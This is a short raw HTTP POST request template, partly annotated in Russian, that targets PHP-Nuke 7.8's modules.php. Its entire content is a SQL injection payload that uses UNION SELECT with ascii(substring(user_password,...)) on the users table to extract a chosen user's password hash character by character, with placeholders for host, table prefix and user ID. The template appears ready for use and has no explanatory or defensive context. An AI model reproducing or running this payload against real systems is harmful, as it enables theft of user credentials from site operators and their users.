POST http://HOST/modules.php HTTP/1.0\n
Host: HOST
Content-Type: application/x-www-form-urlencoded\n
Content-Length: длина post запроса\n\n

name=PHP-Nuke+7.8+Exploit'UNION+SELECT+1,1+FROM+PREFIX_users+WHERE+user_id=USER_ID+AND+ascii(substring(user_password,1,1))/*